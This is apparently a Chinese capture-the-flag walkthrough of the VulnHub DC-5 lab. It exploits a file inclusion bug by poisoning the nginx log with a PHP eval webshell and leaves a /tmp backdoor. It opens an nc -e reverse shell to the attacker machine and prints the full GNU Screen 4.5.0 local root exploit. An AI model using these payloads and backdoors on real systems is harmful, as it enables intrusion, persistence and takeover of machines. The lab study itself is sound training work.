环境准备
靶机下载地址:https://www.vulnhub.com/entry/dc-5,314/
百度网盘:https://pan.baidu.com/s/1lqFMjoqQpIl4DA-Amb00pA?pwd=9LJY
攻击机:kali(192.168.58.130,IP是各自不同的)
靶机:DC-5(192.168.58.148,IP是各自不同的)
下载好靶机之后直接使用VMware Workstation Pro虚拟机导入环境,启动即可,将网段设置为NAT模式,
打开虚拟机那里
打开后就行,不需要知道密码
信息收集
扫描靶机的IP地址
查看本机地址确定靶机网段
┌──(root💀kali)-[~] └─# ifconfig eth0
我这儿设置的虚拟机都在10网段,所以用nmap -sP先扫描网段里的主机
┌──(root㉿kali)-[~/桌面]
└─# nmap -sP 192.168.10.0/24
扫描开放的端口
那么136就是靶机地址,nmap -sV 192.168.10.136 既扫端口也扫版本
┌──(root㉿kali)-[~/桌面]
└─# nmap -sV 192.168.10.136
开放端口:80、111
web容器:nginx 1.6.2
浏览器访问目标靶机80端口
访问80端口
就只是一些文字,没有啥可利用的位置,只用contact页面能填写东西,随便写点啥提交上去看看
发现也没啥可利用的,但是发现有一个细节,这个页面只要刷新下面的年份也会跟着变
http://192.168.67.31/thankyou.php?firstname=&lastname=&country=australia&subject=
猜测这里可能含有一个文件包含漏洞,发现了这个文件,但是还不知道它是怎么包含的,只能靠去猜,使用御剑扫描查看网站结构目录
发现有一个url为http://192.168.67.31/footer.php,查看发现就是这个页面控制着年份改变
所以肯定是包含了这个页面,输入urlhttp://192.168.67.31/thankyou.php?file=
发现底部缺少了年份
验证了我们的猜想,但是这里不确定是否过滤了其他文件
文件包含漏洞
渗透过程
在物理机上开代理访问一下,burp抓包
前面通过信息收集怀疑存在包含漏洞,使用burpsuite抓包
将footer.php改为密码文件/etc/passwd试试,试了shadow文件提示权限就不够了
成功执行,说明确实存在文件包含漏洞,所以现在需要想办法将一句话木马写进去
向日志中写入一句话木马
如果对Nginx比较熟悉
前面信息收集发现网站web容器为nginx,nginx的错误日志文件路径一般为
/var/log/nginx/error.log
写入一句话GET /thankyou.php?file=
<?php eval($_REQUEST["tedu"]);?>
发现错误日志可以被读取
我们得想办法让Nginx报错,而不是php代码报错,这样的话他才会写到Nginx的错误日志中,
报错了,那就有戏,再去看一下报错的信息
利用文件包含漏洞查看是否写入成功
http://192.168.10.136/thankyou.php?file=/var/log/nginx/error.log
发现一句话木马已写入错误日志中
使用蚁剑连接webshell
http://192.168.10.136/thankyou.php?file=/var/log/nginx/error.log
把自己的那个包含错误信息的地址复制下来,如果没成功,多试几次
经测试这种包含的方式写进去后面的蚁剑能连上,错了就改改,多GO试试几次
发现一句话木马已写入错误日志中
成功连上靶机系统
打开虚拟终端,发现权限较低,开始提权,因为是个$符号,权限比较低
在 /tmp下新建文件 一句话木马(提权之前先留个后门)
在服务器/tmp目录下新建一个shell.php文件,写入一句话木马(下次链接时好链接,万一人家把漏洞补上了,下次就进不去了,自己再留一个后门,也是为了防止Nginx错误日志被清空)
<?php
@eval($_REQUEST[666]);
?>
新建时,权限不足怎么办,能下载不能上传,所以就得换个位置, /tmp下,一般我们放木马都放在这里边
使用蚁剑虚拟终端反弹shell到kali
哪种连接比较好,假设内网有防火墙,反向连接会更好因为waf会阻挡正向的流量,但是内部主动去连接防火墙它不会管。如果没有边界的约束,那么正反都无所谓
首先在kali开启监听
NC用法
┌──(root💀kali)-[~]
└─# nc -lvvp 1234
listening on [any] 1234 ...
之前学过nc,kail是自带有就不用安装,用过Windows渗透测试的时候,咱上传了nc的木马,通过kail进行连接,nc在很多服务器里面都在,这次通过nv反弹一个shell到kail
使用蚁剑虚拟终端反弹shell到kali
/bin/bash 这个就是shell 命令行
(www-data:/var/www/html) $ nc -e /bin/bash 192.168.67.5 1234 {"code":"ECONNABORTED","timeout":5000}
kali处显示有连接过来 ,为啥要来连上去,因为这边不好用,字又小,好像还不能复制
提权
切换到交互式状态
python -c 'import pty;pty.spawn("/bin/bash")'
因为没有回显看着很难受,而且用kail我们也比较熟,你不做这一步也是可以的,它的作用是通过python的小工具pty这个包调用 pty.spawn方法执行("/bin/bash"),其实就是命令行。
查找设置了SUID的文件
find / -perm -u=s -type f 2>/dev/null 的作用是查找带有SUID权限的命令
www-data@dc-5:~/html$ find / -perm -u=s -type f 2>/dev/null
发现这个screen-4.5.0有点特殊,可以搜搜它有没有常见漏洞,到网上搜是一种方式,kail里也可以搜
查看screen-4.5.0存在的漏洞
kail里面集成了漏洞库,来搜索相关软件的一个漏洞,漏洞利用的脚本
┌──(root💀kali)-[~]
└─# searchsploit screen 4.5.0
------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------- ---------------------------------
GNU Screen 4.5.0 - Local Privilege Escalat | linux/local/41152.txt
GNU Screen 4.5.0 - Local Privilege Escalat | linux/local/41154.sh
------------------------------------------- ---------------------------------
Shellcodes: No Results
/usr/share/exploitdb/exploits/linux/local/41152.txt
/usr/share/exploitdb/exploits/linux/local/41154.sh
将攻击脚本文件复制到当前目录,我这儿就是保存到了本地桌面
searchsploit -m 41154
按理来说可以直接将这个,sh文件上传到目标主机中去执行然后提权,但是我试了一下,kail拉文件出来到桌面在从蚂蚁剑文件管理到tmp里加上执行权限,最后不行,因为这个脚本写得有点小问题所以得要单独编译才行,就麻烦些
查看文件内容
┌──(root💀kali)-[~]
└─# cat /root/41154.sh
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){chown("/tmp/rootshell", 0, 0);chmod("/tmp/rootshell", 04755);unlink("/etc/ld.so.preload");printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){setuid(0);setgid(0);seteuid(0);setegid(0);execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
将41154.sh中上面一部分c语言代码另存为libhax.c,如图-50所示,并编译,编译命令gcc -fPIC -shared -ldl -o libhax.so libhax.c
┌──(root💀kali)-[~]
└─# gcc -fPIC -shared -ldl -o libhax.so libhax.c
将41154.sh中下面一部分c语言代码另存为rootshell.c,如图-51所示,并编译,编译命令gcc -o rootshell rootshell.c
┌──(root💀kali)-[~]
└─# gcc -o rootshell rootshell.c
将41154.sh中剩下部分代码另存为dc5.sh脚本文件,如图-52所示,并在保存dc5.sh文件之前输入 :set ff=unix
将编译过后生成的libhax.so、rootshell和 dc5.sh三个文件复制到DC-5靶机的/tmp目录下,在kali交互模式下进入/tmp,为dc5.sh添加执行权限并运行dc5.sh,发现提权成功,如图-53所示。
获取到flag
进入到/root目录,查看文件thisisthefalg.txt
基本上就是把这三个文件上传到DC5的tmp目录下,嫌麻烦可以直接套用我编译好的这三个
蓝奏云:
https://wwtt.lanzn.com/b00uycq71c
密码:ebp3
DC1~DC9合集(靶场的下载地址和通关教程)
https://blog.51cto.com/u_15127588/2807838
CTF我们称为夺旗赛。capture the flag
有解题模式、攻防模式、混合模式
知识点:web的、Linux、系统命令、Python
kail漏洞库使用、系统提权、反弹shell到kali、留后门、蚁剑连接webshell、文件包含漏洞利用